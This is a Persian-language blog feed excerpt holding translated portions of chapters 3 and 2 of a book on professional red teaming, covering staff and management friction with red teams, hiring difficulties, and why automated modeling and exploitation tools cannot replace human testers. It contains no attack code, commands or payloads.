<p>حین اجرای فعالیت ارزیابی، مشخص شد که پرسنل فنی ارزیاب‌ها را هدف می‌گیرند. من هم شاهد رخ دادن این اتفاق بودم. یک آدرس منبع به سازمان داده شده بود تا مشخص باشد که فعالیت ارزیابی از کجا منشأ می‌گیرد و پرسنل امنیتی هم از این داده‌ها استفاده کردند تا فعالیت‌های ارزیاب‌ها را در شبکه شناسایی و مهار کنند. چنین مداخله‌هایی می‌تواند باعث ایجاد تردید نسبت به مشروعیت کار مسئولان ارزیابی در مرحله اجرای ارزیابی و گزارش دهی شود چون باعث ایجاد این دیدگاه می‌شود که اگر ارزیابان حین اجرای تست شناسایی شده‌اند، پس مهارت لازم را ندارند. مشاهده شده که گاهی اوقات کارمندان نظارت امنیتی بر اساس امضای ابزارهای مورد استفاده تیم قرمز، تکنیک‌هایی را پیاده سازی می‌کنند که فقط برای گیر انداختن این تیم طراحی شده‌اند &#8211; نه تهدیدات امنیتی واقعی. این کار باعث هدر رفتن وقت کارمندان نظارت امنیت و سخت‌تر شدن ارزیابی شبکه خواهد شد. با وجود چنین تعاملاتی، لازم است به مزایای تعاملات تیم بنفش هم توجه داشته باشیم.</p>
<p>ایجاد چنین موانع خصمانه و غیرواقع گرایانه‌ای برای ارزیابی‌های تیم قرمز به نفع هیچ شخصی نیست اما مقابله با چنین شرایطی آسان‌تر است چون تحلیل تنظیمات طراحی شده برای گیر انداختن تیم قرمز مشخص می‌کند که آیا این قانون به طور ویژه برای گیر انداختن این تیم طراحی شده یا به عنوان یک روش امنیتی واقعی و کلی پیاده سازی شده است.</p>
<p>آخرین و شاید مضرترین شرایط برای اجرای کارآمد ارزیابی‌ها، زمانی است که کارمندان فنی سعی دارند نتایج به دست آمده از یک ارزیابی را کم اهمیت جلوه دهند. بارها مشاهده کردم که پرسنل فنی با تمام تلاش سعی داشتند نشان دهند که یکی از سیستم‌هایی که به آن نفوذ کردیم هیچ اهمیتی نداشته حتی وقتی این سیستم تبدیل به نقطه‌ای برای نفوذ به سایر سیستم‌ها شده است. همچنین گاهی اوقات پرسنل فنی درخواست داشتند که برخی از آسیب‌پذیری‌های شناسایی شده کمتر مورد تحلیل و بررسی قرار بگیرند یا پیش از رسیدن گزارش به دست رئیس، تحلیل و تفسیر آن را تغییر داده‌اند. حتی بعضی از کارمندان گزارش را ویرایش کرده و بعد نتایج را به مدیریت سطح بالاتر ارایه می‌دهند. این اقدامات تأثیری به غیر از کاهش مزایای عملیات تیم قرمز برای سازمان و تحت تأثیر قرار دادن روابط حرفه‌ای ندارند.</p>
<h3><a name="_Toc144125072"></a>پرسنل مدیریتی</h3>
<p>مداخله‌های پرسنل مدیریتی شباهت زیادی به مداخله‌های پرسنل فنی دارد و در همان مراحل ارزیابی انجام می‌شود اما با دلایل کمی متفاوت.</p>
<p>بارها مشاهده شده که هنگام تعیین محدوده عملیات تیم قرمز، مدیریت سطح بالاتر سازمان وارد بحث شده و سعی دارند محدوده عملیات و زمان اجرای آن را تا حد ممکن کاهش دهند. معمولاً این کار به این دلیل انجام می‌شود که مثلاً طبق یک استاندارد مقرراتی خاص، باید تعداد مشخصی تست نفوذ در یک بازه زمانی مشخص انجام شود. در چنین شرایطی مدیران سعی دارند در هزینه‌ها صرفه جویی کنند و همزمان الزامات و قوانین را برآورده کنند. من کمتر به این مشکل برخورد کردم تا مشکلات دیگر اما قطعاً باید از این مشکل آگاه بوده و به آن توجه داشت.</p>
<p>روش بعدی مداخله مدیران سازمان در یک تداخل هم به مسئله تعیین محدوده ارتباط دارد. شناسایی یک مجموعه حفره امنیتی در یک سازمان راه خوبی برای جذب سرمایه جهت اصلاح این نواقص است. دیده شده که مدیران محدوده ارزیابی را به سمت بخش‌های خاصی هدایت می‌کنند که نیاز به جذب سرمایه برای آنها دارند به این امید که تیم قرمز یک مجموعه مشکل را پیدا کرده و آنها یافته‌ها را به مدیریت سطح بعدی سازمان گزارش داده و برای رسیدگی به این یافته‌ها بودجه دریافت کنند. این رویکرد تأثیر وحشتناکی بر تعاملات تیم قرمز ندارد اما خوب است که در جریان باشیم این هم جزء دیدگاه‌های رایج مدیرانی است که از منابع تیم قرمز استفاده می‌کنند. با در نظر گرفتن این نکات، می‌توانید تلاش‌های خودتان را برای انتخاب محدوده عملیات هدفمندتر کنید.</p>
<p>آخرین و شاید جدی‌ترین تأثیر پرسنل مدیریتی بر تعاملات تیم قرمز، در مرحله گزارش دهی مشاهده می‌شود. برخی مواقع، مدیر ارشد سازمان گزارش را دریافت می‌کند اما آن را نادیده می‌گیرد. این اتفاق به دلایل مختلف رخ می‌دهد. اولین دلیل این است که مدیران با اجرای عملیات تیم قرمز وظایف مقرراتی خودشان را انجام داده‌اند و مایل نیستند که برای رعایت توصیه‌های مطرح شده در گزارش‌ها وقت و هزینه صرف کنند. دلیل دوم این است که گزارشات حاصل از تعاملات حوزه امنیت تهاجمی می‌توانند مسئولیت بزرگی برای سازمان داشته باشند.</p>
<p>سناریویی را تصور کنید که در آن تیم قرمز، یک بیمارستان را ارزیابی کرده و 10 آسیب‌پذیری پیدا می‌کند. تیم قرمز با همکاری کارمندان امنیتی سازمان شدت آسیب‌پذیری‌ها و اولویت رسیدگی به آنها را مشخص می‌کند چون کارمندان بیمارستان برای رسیدگی به این مسائل محدود هستند و هر بار فقط می‌توانند روی یک موضوع کار کنند. حالا فرض کنید قرار است ششمین آسیب‌پذیری این فهرست چند ماه بعد رفع شود اما یک مهاجم با استفاده از آن باعث افشای داده‌هایی می‌شود که تحت قانون HIPAA حفاظت می‌شوند. یکی از اشخاصی که اطلاعاتش فاش شده شکایت کرده و از دادگاه درخواست می‌کند که بررسی کند آیا بیمارستان ارزیابی‌های امنیتی را انجام داده یا خیر. حالا بیمارستان باید اعلام کند که از چند ماه قبل از وجود این آسیب‌پذیری اطلاع داشته است. از نظر قانون مهم نیست که این آسیب‌پذیری جزء تهدیدات کم اهمیت‌تر برای سازمان در نظر گرفته شده و وجود اسناد گزارش این ارزیابی و داده‌های آن یک مسئولیت بزرگ برای سازمان محسوب می‌شود. صرف نظر از پیامدهای اخلاقی و قانونی، این مثال به خوبی نشان می‌دهد که چرا برخی از مدیران تمام تلاش خودشان را می‌کنند که نتایج تست را نادیده گرفته یا از آن خلاص شوند.</p>
<h3><a name="_Toc144125073"></a>پرسنل کاربری</h3>
<p>کاربران معمولی سازمان لزوماً بر فرایند تست تأثیری ندارند اما ممکن است وقتی با نتایج فعالیت یک تیم قرمز روبرو می‌شوند، رفتاری به شدت خصمانه داشته باشند. بنابراین، درک پیامدهای جامعه شناختی تعاملات امنیت تهاجمی ضروری است به خصوص در شرایطی که تیم قرمز از کارمندان درون سازمانی تشکیل شده و احتمالاً اعضای آن با کاربران همکار هستند. در این زمینه مشکلات مربوط به شرمسار شدن کاربران هستند. ممکن است این کاربران اشخاصی باشند که در یک کارزار مهندسی اجتماعی فریب خورده‌اند تا روی لینک‌ها کار کنند یا ایمیل‌های مخرب را باز کنند و این کار باعث شروع نفوذ تیم قرمز شده باشد. همچنین ممکن است حین اجرای ارزیابی‌ها مشخص شود که یک کاربر خاص هنگام استفاده از سیستم‌های سازمانی برخی از فرایندها یا سیاست‌ها را نقض می‌کند یا اقداماتی غیرقانونی یا نامشروع انجام می‌دهد. یک نمونه از این تخلف‌ها وقتی است که یک تیم قرمز متوجه وجود یک منبع به اشتراک گذاشته شده می‌شود که حاوی فایل‌های صوتی و ویدیویی است که این کار بر خلاف سیاست‌های آن سازمان است و از همین منبع برای نفوذ به سازمان استفاده می‌کند. در این صورت ممکن است پرسنل مسئول این شرایط توبیخ یا حتی اخراج شوند که این اقدامات باعث تشدید روابط خصمانه خواهد شد.</p>
<h3><a name="_Toc144125074"></a>نتیجه‌گیری چالش‌های پرسنل</h3>
<p>واضح است که در هر سازمانی، اجرای تعاملات تیم قرمز با مشکلات زیادی در رابطه با افراد همراه است. این مشکلات می‌توانند پیچیده‌تر از یک رابطه فروشنده &#8211; مشتری باشند که ایجاد تعامل موفقیت آمیز در آن کار بسیار دشواری است. خوشبختانه، با شناسایی انواع مشکلاتی که احتمالاً پیش رو دارید، داشتن رفتار حرفه‌ای در طول دوره تعامل و قابلیت به تصویر کشیدن شرایط ترسناک، می‌توانید بیشتر این مشکلات را حل کنید بدون اینکه بر کارمندان یا تعاملات تیم قرمز تأثیرگذار شوند. منظور از &#8220;به تصویر کشیدن شرایط ترسناک&#8221; این است که بتوانیم به یک مدیر یا مسئول نشان دهیم که چطور ممکن است هدف یا آسیب‌پذیری که از نظر پرسنلی با دانش فنی محدودتر، کم اهمیت به نظر می‌رسد منجر به نفوذ به کل سازمان شود. این قابلیت یک مهارت بسیار ارزشمند است که می‌تواند به ارزیابان تیم قرمز برای غلبه بر موانعی که پرسنل سازمانی پیش رویشان قرار می‌دهند، کمک کند. اگر به عقب برگشته و نگاهی به آنچه قبلاً درباره بصیرت هکرهای اخلاقی گفته شد داشته باشید، راحت‌تر درک می‌کنید که چطور ممکن است مشکلات بسیار کوچک بر بخش‌های بزرگی از سازمان هدف تأثیرگذار شوند.</p>
<h2><a name="_Toc144125075"></a>گزینش مؤثر نیرو برای تیم قرمز</h2>
<p>بدون شک قبل از روبرو شدن به مشکلات مطرح شده در این فصل، اول باید خود تیم قرمز را تشکیل داد و گزینش نیرو برای تیم قرمز می‌تواند چالش سختی باشد حتی برای سازمان‌هایی که ابزار و هزینه‌های لازم برای استخدام پرسنل مورد نیاز را در اختیار دارند. بنابراین، در ادامه به بررسی مشکلاتی می‌پردازیم که من به عنوان معاون رئیس و اجرا کننده تست نفوذ اصلی یک شرکت با آنها روبرو شدم. من در این شرکت مسئول تصمیم گیری برای استخدام سایر اعضای تیم تست نفوذ جهت رفع نیازهای مختلف امنیت تهاجمی و تیم قرمز بودم.<br />
رشد سریع و چشمگیر اصطلاح &#8220;سایبری&#8221; یا &#8220;امنیت سایبری&#8221; و استفاده از آن توسط افراد مختلف برای رفع نیازهای خودشان در یک سازمان، تأثیر چشمگیری بر صنعت امنیت تهاجمی داشته است. اگر از 10 شخص مختلف بپرسید که امنیت سایبری چه معنایی دارد با 10 پاسخ مختلف روبرو خواهید شد. تنها واقعیت اثبات شده این است که بسیاری از اشخاصی که سابقه مهندسی امنیت، نظارت، تضمین اطلاعات یا مدیریت سیستم‌ها را دارند لقب &#8220;کارشناس امنیت سایبری&#8221; را دریافت می‌کنند و معمولاً همه سال‌هایی که در حوزه تضمین اطلاعات یا فناوری اطلاعات فعالیت داشته‌اند را جزء سابقه امنیت سایبری خودشان محسوب می‌کنند. این شرایط باعث می‌شود که انتخاب داوطلبان مناسب برای مصاحبه کار سختی باشد. من به شخصه شاهد استفاده از برچسب امنیت سایبری برای اشخاصی با سابقه کار در حوزه تشخیص آسیب‌پذیری و بهره برداری از سیستم‌ها بودم. در کنار این دشواری‌های استخدام کارشناس امنیت سایبری، این واقعیت هم وجود دارد که بسیاری از سازمان‌ها وقتی در اصل به دنبال استخدام یک مهندس امنیت سایبری هستند تا کارهای نظارتی را انجام دهد یا وقتی به دنبال یک تحلیلگر تضمین اطلاعات هستند، مهندس امنیت سایبری را جستجو و استخدام می‌کنند. این ابهام مجموعه مهارت‌ها و نیازها که در صنعت امنیت مدرن و همچنین در صنعت امنیت تهاجمی مشاهده می‌شود، می‌تواند برای تشکیل یک تیم قرمز توانمند مشکل آفرین باشد.</p>
<p>با این فرض که ما درباره پرسنل امنیت سایبری با تجربه کار در حوزه تشخیص و بهره برداری از آسیب‌پذیری‌ها صحبت می‌کنیم، باز هم یک معضل دیگر وجود دارد که باید با آن روبرو شویم. خیلی از سازمان‌ها با نیاز به استفاده از خدمات تیم‌های قرمز آشنایی دارند اما تعداد گزینه‌های واجد شرایط، با صلاحیت، دارای مجوز و مجرب بسیار کمتر از حد مورد نیاز است. معمولاً سازمان‌ها برای پیدا کردن گزینه‌های واجد شرایط با چالش روبرو هستند و پس از پیدا کردن این گزینه‌ها، نگه داشتن و حفظ آنها هم یک چالش دیگر است. احتمالاً برای هر اجراکننده تست نفوذ یا عضو تیم قرمزی فرصت‌های شغلی و دعوتنامه‌های زیادی وجود دارد. کارشناسان مجرب و باصلاحیت حوزه امنیت تهاجمی، در جایگاهی قرار دارند که می‌توانند به سرعت بین شرکت‌ها و مشاغل مختلف جابجا شوند چون این کار تقاضای زیاد و متقاضی کمی دارد. بنابراین حتی اگر سازمانی با موفقیت تیم قرمز را تشکیل دهد، حفظ این نیروها کار چالش برانگیزی است.</p>
<p>مشکل دیگری هم برای پیدا کردن پرسنل مورد نیاز جهت ساختن تیم قرمز وجود دارد که بیشتر مربوط به مسائل قانونی است. هک کردن بدون کسب مجوزهای قانونی لازم یک جرم مهم محسوب می‌شود و بعید است که افراد تجربیات هک معمولی و بدون مجوز خودشان را در رزومه ذکر کنند و این تجربیات جدی گرفته شوند. بنابراین، تنها راه به دست آوردن تجربه واقعی در این حوزه، عضویت در تیم‌های قرمز یا فعالیت به عنوان اجرا کننده تست نفوذ است. معمولاً من برای استخدام افرادی را در نظر می‌گیرم که تجربه کافی در حوزه امنیت یا فناوری اطلاعات داشته باشند و حداقل گواهینامه‌های امنیت تهاجمی را کسب کرده باشند اما این انتخاب همراه با ریسک بود چون کاندیدها، ارزیابی‌های لازم را به شکل حرفه‌ای انجام نداده بودند.</p>
<p>بعلاوه، انتخاب افرادی با تجربه بیشتر منجر به افزایش هزینه‌های استخدام می‌شود. افراد باتجربه در حوزه تست نفوذ یا تیم قرمز، احتمالاً جزء کارمندان ارشد بخش فناور اطلاعات یا سایر صنایع امنیتی هستند و انتظار دریافت دستمزد بیشتری دارند. به همین دلیل، جلب نظر و رضایت سازمانی اهمیت زیادی دارد چون پیدا کردن این افراد سخت و پرهزینه است و معمولاً به راحتی از دست می‌روند.</p>
<h2><a name="_Toc144125076"></a>خلاصه فصل سوم</h2>
<p>در این فصل به بررسی وضعیت امروزی امنیت تهاجمی پرداختیم. همچنین در این فصل بسیاری از چالش‌ها و موانع پیاده سازی و استفاده موفقیت آمیز از منابع تیم قرمز بررسی شدند.</p>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> Advanced Persistent Threats</p>
<p><a href="#_ftnref2" name="_ftn2">[2]</a> Lazarus</p>
<p><a href="#_ftnref3" name="_ftn3">[3]</a> fuzzing</p>
<p><a href="#_ftnref4" name="_ftn4">[4]</a> rules of engagement</p>
<p><a href="#_ftnref5" name="_ftn5">[5]</a> مترجم: تضمین اطلاعات عمل تضمین اطلاعات و مدیریت ریسک‌های مربوط به استفاده، پردازش، ذخیره و انتقال اطلاعات است.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/professional-red-teaming-chapter-3/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>کتاب تیم قرمز حرفه‌ای &#8211; فصل دوم</title>
		<link>https://blog.peneter.com/professional-red-teaming-chapter-2/</link>
					<comments>https://blog.peneter.com/professional-red-teaming-chapter-2/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Thu, 21 Mar 2024 12:50:34 +0000</pubDate>
				<category><![CDATA[کتاب]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1315</guid>

					<description><![CDATA[فصل دوم: چرا هکرهای انسانی؟ چرا باید از هکرهای انسانی استفاده کنیم؟ در فصل قبل با مزایای استفاده از تیم قرمز آشنا شدید اما در...]]></description>
										<content:encoded><![CDATA[<h2>فصل دوم: چرا هکرهای انسانی؟</h2>
<p>چرا باید از هکرهای انسانی استفاده کنیم؟ در فصل قبل با مزایای استفاده از تیم قرمز آشنا شدید اما در آن فصل دلیل قانع کننده‌ای برای استفاده از هکرهای انسانی مطرح نشد. همانطور که اشاره شد، مانور تیم قرمز یک فرایند چالش برانگیز و اغلب پرهزینه است. بخش صنعت و دانشگاه هر دو تلاش کرده‌اند که با استفاده از فناوری‌ها و ابزارهای مختلف، کار هکرهای انسانی را اتوماسیون یا جایگزین کنند. همچنین خدمات جدیدی با الزاماتی متفاوت از نظر انتخاب و به کارگیری پرسنل وجود دارند که به دنبال جایگزین کردن خدمات تیم قرمز هستند. پس از خواندن این فصل نباید تردیدی درباره برتری هکرهای انسانی نسبت به راهکارهای اتوماسیون برای تیم قرمز داشته باشید و اینکه پیدا کردن و استفاده از انواع پرسنل امنیتی، نمی‌تواند جایگزین خدمات تیم قرمز باشد.</p>
<h2>ابتکار و اتوماسیون</h2>
<p>انگیزه ایجاد نوآوری در فرایندهای کاری تیم قرمز بدون استفاده از هکرهای انسانی چندین دلیل دارد. این گرایشات با هدف تسریع ارزیابی، دسترسی آسان‌تر به ارزیابی‌ها یا جایگزینی تیم قرمز با خدماتی که پیاده‌سازی آنها راحت‌تر است، شکل گرفته‌اند. به نظر من هیچ یک از این روش‌ها قابلیت جایگزینی کارکنان حرفه‌ای تیم قرمز را به صورت امن یا واقع گرایانه ندارند. در ادامه مطلب تحلیلی از پیشنهادات صنعتی و دانشگاهی را برای جایگزین کردن هکرهای اخلاقی بررسی می‌کنیم. درک چنین راهکارهایی نشان می‌دهد که چرا وجود هکرهای اخلاقی اهمیت زیادی دارد و قرار نیست جایگزین شوند.<br />
بخش عمده‌ای از تحقیقات صورت گرفته در زمینه ابتکار و نوآوری برای تیم‌های قرمز، توسط بخش دانشگاهی انجام شده‌اند. برخی از این مطالعات با عنوان تست نفوذ و برخی موارد با عنوان تیم قرمز معرفی می‌شوند. باز هم برای موضوع و هدف این کتاب، همه این قابلیت‌های امنیتی تهاجمی معادل هم محسوب می‌شوند. در انجمن‌های دانشگاهی مثل مقالات و مجلات علمی، بخش عمده‌ای از مطالعات به طور ویژه متمرکز بر اتوماسیون حمله تیم قرمز با استفاده از فناوری هستند نه ابتکار در زمینه فرایندهای امنیتی دفاعی که توسط انسان‌ها انجام می‌شود. احتمالاً دلیل این موضوع این است که عده بسیار کمی از محققان کارشناس مجرب امنیت تهاجمی هستند یا شاید دقیق‌تر اینکه، بیشتر کارشناسان مجرب حوزه امنیت تهاجمی، به دنبال انجام مطالعات آکادمیک نیستند. این یعنی احتمالاً نویسندگان و محققان دانشگاهی درباره چالش‌ها و مشکلات تیم قرمز از منظر اجراکننده آن تجربه عملی ندارند یا با کارهای واقع گرایانه‌ای که می‌توان برای بهبود روش‌ها و فرایندها انجام داد، آشنا نیستند. به غیر از پیچیده‌تر کردن ابتکار و نوآوری در زمینه تجارت هکرهای اخلاقی، کارهای دانشگاهی باید قابل دفاع هم باشند. پیدا کردن روش‌هایی قابل دفاع برای کاری مثل مانور تیم قرمز، ارزیابی و محیط‌ها که به شدت تحت تأثیر اقدامات انسان قرار دارد می‌تواند بسیار دشوار باشد. بنابراین، تمرکز مطالعات آکادمیک تیم قرمز عمدتاً فناوری اتوماسیون و مدل‌های حمله‌ای است که امکان آزمایش مکرر آنها وجود دارد و می‌توان بدون دخالت کارشناسان حرفه‌ای تیم قرمز و اجرای واقعی این عملیات، آنها را امتحان کرد.<br />
فناوری‌های حاصل از این تلاش‌ها به طور کلی در یکی از این سه دسته‌بندی قرار می‌گیرند: آنهایی که بهره برداری یا جابجایی بین سیستم‌ها را انجام نمی‌دهند، آنهایی که بهره برداری انجام می‌دهند اما جابجایی را انجام نمی‌دهند و آنهایی که هر دو کار را انجام می‌دهند. هر روش مزایا و معایب خاص خود را دارد همانطور که اتوماسیون به طور کلی این ویژگی را دارد. این به معنای بی‌استفاده بودن چنین راهکارهایی نیست و از طرفی به این معنا نیست که این راهکارها می‌توانند به خوبی جایگزین هکرهای اخلاقی شوند.</p>
<h2>فناوری مدل‌سازی</h2>
<p>شاید فناوری که از آسیب‌پذیری‌ها بهره برداری نمی‌کند یا از یک هدف به هدف دیگر منتقل نمی‌شود، به ظاهر شباهتی به تیم قرمز نداشته باشد اما به باور من، بین فناوری‌های اتوماسیونی که به روش آکادمیک مطرح شده‌اند، احتمال اینکه این روش‌ها تأثیر مثبتی بر فعالیت‌های تیم قرمز داشته باشند بیشتر است. کلید درک کاری که قرار است با کمک این فناوری‌ها انجام شود، کلمه &#8220;مدل سازی&#8221; است. فناوری و تکنیک‌هایی که روابط بین اهداف بالقوه در یک سازمان را مدل سازی می‌کنند قطعاً می‌توانند برای دستیابی به اهداف در یک مانور تیم قرمز بسیار مفید باشند. شکل 2-1 نمونه‌ای از چنین روابطی را نشان می‌دهد که در آن میزبان A آلوده کننده اولیه است و میزبان G بیشترین انتشار را انجام می‌دهد.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1323 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-1.jpg" alt="" width="451" height="215" srcset="https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-1.jpg 451w, https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-1-300x143.jpg 300w, https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-1-100x48.jpg 100w" sizes="auto, (max-width: 451px) 100vw, 451px" /></p>
<p style="text-align: center;">شکل 2-1 نمونه‌ای ساده سازی شده از نتایج مدل سازی</p>
<p>تیم‌های قرمز غیرسایبری در اصل حملات نظامی را شبیه سازی می‌کردند اما مدل سازی‌های مورد نظر ما، مانورهای دنیای سایبری هستند. مثلاً در یکی از این روش‌ها، اطلاعات به دست آمده از اهداف درون سازمان مثل پورت‌های باز، آدرس‌ها، طرح شبکه، نرم‌افزارهای نصب شده و غیره به یک مدل خودکار داده می‌شوند. سپس مدل اجرا می‌شود تا بر اساس مقایسه داده‌های ورودی با یک پایگاه داده حاوی اکسپلویت‌های شناخته شده، راه‌های ممکن یا بالقوه حمله و حرکت را مشخص کند.<br />
محققان دانشگاهی مختلف با استفاده از الگوریتم‌ها یا منطق خاص خودشان درباره شیوه رخ دادن اکسپلویت و مسیرهای مختلف حمله و اینکه چه میزبان‌ها یا سیستم‌هایی در معرض یک خطر خاص قرار دارند، تکنیک‌ها و مطالعات مختلفی را مطرح کرده و انجام داده‌اند. یکی از ویژگی‌های مشترک همه این ایده‌ها این است که متکی بر نوعی ورودی هستند که بر اساس روش‌های مختلف روی آنها کار می‌شود تا یک ماتریس از ارتباطات بالقوه تشکیل دهند که تیم‌های امنیت سایبری متمرکز بر آن شوند.<br />
همانطور که نویسندگان مطالعات اشاره می‌کنند، استفاده از این فناوری‌ها به جای تیم قرمزی که توسط انسان اجرا می‌شود چند مشکل مهم دارد. این روش‌ها به خودی خود بسیار عالی هستند. در صورت استفاده از داده‌هایی با ساختار مشابه و اجرای این روش‌ها بر اساس داده‌های به روز آسیب‌پذیری‌ها، می‌توان به نقاط ریسک و مسیرهای اکسپلویت عملی رسید اما فقط برای اسنپ شاتی از زمان که داده‌های مورد استفاده، نمایانگر وضعیت آن لحظه خاص هستند. این اسنپ شات بستگی به این دارد که داده‌ها چه زمانی از اهداف جمع آوری شدند و پایگاه داده آسیب‌پذیری‌ها آخرین بار چه زمانی به‌روزرسانی شده است. اگر پس از اجرای الگوریتم، یک پورت در یک میزبان تغییر کند، روش مورد نظر به شدت ناقص خواهد شد و یک آسیب‌پذیری که تازه مسلح شده می‌تواند نتایج مدل را کاملاً تغییر دهد.<br />
نمی‌توان یک کاربرد برای دنیای واقعی را متصور شد که در آن اطلاعاتی که به چنین الگوریتمی تزریق می‌شود، یک بازنمایی کامل و دقیق از کل سازمان باشند. حالا کاربران و مدیران انسانی را به این ترکیب اضافه کنید که دائماً متغیرها را تغییر می‌دهند. در این صورت استفاده از داده‌ها در محیطی به غیر از آزمایشگاه یا شرایطی مشابه آن، غیرممکن خواهد بود. گرچه این فناوری نمی‌تواند جایگزین کامل مهارت و نیروی انسانی باشد، اما بدون شک یکی از راه‌های سریع تحلیل هدف گیری مهاجمان است.</p>
<h2>فناوری غیرانتقالی</h2>
<p>فناوری غیرانتقالی- شناسایی و بهره برداری از آسیب‌پذیری &#8211; بر خلاف فناوری مدل سازی خودکار، برای دنیای امنیت تهاجمی آشناتر است اما پس از نفوذ، درون یک سیستم یا سازمان شروع به حرکت و انتقال نمی‌کند (شکل 2-2).</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1324 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-2.jpg" alt="" width="452" height="223" srcset="https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-2.jpg 452w, https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-2-300x148.jpg 300w, https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-2-100x49.jpg 100w" sizes="auto, (max-width: 452px) 100vw, 452px" /></p>
<p style="text-align: center;">شکل 2-2 روش غیرانتقالی و بدون بهره برداری</p>
<p>این نوع مطالعات در حوزه آکادمیک طیف وسیعی دارند. از جمله فناوری‌هایی که به طور اختصاصی روی یک نوع نرم‌افزار خاص (مثل صفحات وب یا پایگاه‌های داده) کار می‌کنند و روش‌های خودکار ارزیابی آسیب‌پذیری در کل شبکه به صورت سطحی.<br />
این فناوری‌ها از جمله راهکارهایی هستند که تنها یک بار فعال و استفاده می‌شوند و نیازی به کمک گرفتن از هکرهای اخلاقی ندارند. انتظار می‌رود که افراد آشنا با حیطه فناوری اطلاعات توانایی دانلود این ابزارها و استفاده از آنها برای هدف مورد نظرشان را داشته باشند. در این گروه، ابزارهایی وجود دارند که سعی دارند به صورت مکرر سازوکارهای امنیتی را دور بزنند و از صفحات وب یا پایگاه‌های داده بهره برداری کنند و سپس آسیب‌پذیری‌های شناسایی شده را به شخصی که از ابزار استفاده می‌کند، گزارش دهند. سایر ابزارهای این گروه شامل فناوری‌های اسکنی هستند که توانایی ارزیابی هر چیزی در محدوده محیط اجرا را دارند.<br />
لازم به ذکر است که این گروه از ابزارهای جایگزین تیم قرمز، شامل اسکنرهای آسیب‌پذیری هستند که در خیلی از محافل آکادمیک از آنها به عنوان فناوری‌های خودکار سازی تیم قرمز یاد می‌شود. اجرای اسکن آسیب‌پذیری به عنوان تنها راهکار، دو مشکل ایجاد می‌کند. اول اینکه این روش نشان دهنده یک حمله واقعی برضد سازمان نیست و حتی توانایی شبیه سازی تأثیرات حمله واقعی را ندارد. دوم اینکه، این روش فقط آسیب‌پذیری‌های اهدافی را ارزیابی می‌کند که از نقطه اجرا قابل دسترس هستند بنابراین باعث می‌شود که بخش‌های بزرگ و خطرناکی از سازمان، بدون ارزیابی باقی بمانند.<br />
بهترین راهکارها در این گروه، آنهایی هستند که روی تعداد زیادی از نقاط پایانی شبکه یا همه آنها توزیع می‌شوند. این روش یک بازنمایی دقیق از حمله یا پیامدهای آن نیست اما این راهکارها متناسب با محدوده استقرارشان، یک ارزیابی عمیق از محیط فراهم می‌کنند. برخی از این فناوری‌ها، سیستم عامل‌های کوچکی هستند که روی درایوهای USB یا سی‌دی‌ها نصب می‌شوند و می‌توان آنها را به صورت فیزیکی در سطح شبکه جابجا کرده و اطلاعات آسیب‌پذیری‌ها را از زوایای مختلف جمع آوری کرد. برخی از آنها بیشتر شبیه به محصولات امنیتی توزیع شده برای نقاط پایانی هستند که روی سیستم‌های زیادی نصب می‌شوند. حتی این سیستم‌ها هم معمولاً بهره برداری واقعی را انجام نمی‌دهند و هیچ یک بر خلاف حملات واقعی، به دنبال استفاده از سیستم یا اپلیکیشن تحت نفوذ برای گسترش بیشتر نیستند.<br />
علاوه بر تلاش‌های آکادمیک صورت گرفته برای پیاده‌سازی چنین روش‌هایی، چندین نمونه صنعتی هم از این دسته‌بندی وجود دارد. گاهی اوقات شاهد استفاده از ابزار بهره برداری خودکار db-autopwn در سیستم عامل‌های مورد استفاده برای امنیت تهاجمی بودیم. به همین ترتیب، سایر فریم ورک‌های امنیتی غیررایگان هم گزینه‌هایی برای بهره برداری خودکار دارند که عمدتاً از db-autopwn استفاده کرده یا تقلیدی از آن بوده و بر اساس آن ساخته می‌شوند. این ابزارها قابلیت بهره برداری از میزبان‌ها پس از اسکن آنها را دارند اما قابلیت چرخش پس از نفوذ را ندارند (شکل 2-3).</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1326 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-3.jpg" alt="" width="448" height="226" srcset="https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-3.jpg 448w, https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-3-300x151.jpg 300w, https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-3-100x50.jpg 100w" sizes="auto, (max-width: 448px) 100vw, 448px" /></p>
<p style="text-align: center;">شکل 2-3 مدل غیرانتقالی با بهره برداری</p>
<h2>فناوری‌های انتقالی با بهره‌برداری</h2>
<p>در این قسمت بدافزارها وارد عمل می‌شوند. فناوری‌های این دسته سعی دارند پس از بهره برداری، از دسترسی‌های به دست آمده برای اسکن خودکار و انتقال به ماشین‌های دیگر استفاده کنند. در واقع در این بخش با موضوعاتی روبرو هستیم که شبیه موضوعات موجود در فریم ورک‌های صنعتی هستند و ابزارهایی که مثل کرم‌های کامپیوتری عمل می‌کنند. این فناوری متمرکز بر مفاهیمی از دو گروه قبلیِ ابزارهای جایگزین توصیه شده توسط جوامع آکادمیک است. این ابزارها نیاز به قابلیت‌های ارزیابی آسیب‌پذیری و همچنین مدل سازی روابط دارند. ترکیب این مفاهیم امکان دسترسی به یک سیستم و ادامه ارزیابی آسیب‌پذیری از چشم‌انداز تازه به دست آمده را فراهم می‌کنند &#8211; به روشی خودکار که با منطق هدفگیری رابطه‌ای بر اساس مدل سازی انتخابی حمله کار می‌کند (شکل 2-4).</p>
